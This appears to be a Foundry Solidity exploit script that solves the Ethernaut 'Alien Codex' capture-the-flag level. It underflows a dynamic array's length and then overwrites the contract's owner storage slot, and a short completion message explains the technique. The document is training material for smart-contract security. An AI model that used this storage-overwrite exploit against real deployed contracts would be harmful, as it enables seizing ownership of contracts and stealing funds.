// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;import {Script, console} from"forge-std/Script.sol";import {HelperFunctions} from"script/HelperFunctions.s.sol";// ================================================================// │ LEVEL 19 - ALIEN CODEX │// ================================================================interface IAlienCodex {functionmakeContact() external;functionretract() external;functionrevise(uint256 i,bytes32_content) external;}contractExploitisScript, HelperFunctions {functionrun() public {address targetContractAddress =getInstanceAddress(); IAlienCodex alienCodex =IAlienCodex(targetContractAddress); vm.startBroadcast();// Make contact with the alien codex alienCodex.makeContact();// Retract the codex length by 1, causing an underflow alienCodex.retract();// Calculate the index in the array where the owner is storeduint256 arraySlot =uint256(keccak256(abi.encodePacked(uint256(1))));uint256 ownerSlot =0;uint256 indexToModify = type(uint256).max - arraySlot + ownerSlot +1;// Overwrite the owner with msg.sender alienCodex.revise(indexToModify,bytes32(uint256(uint160(msg.sender)))); vm.stopBroadcast(); }}
Submit instance... 🥳
Completion Message
This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.
Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of 2^256. The user is then able to modify all contract storage.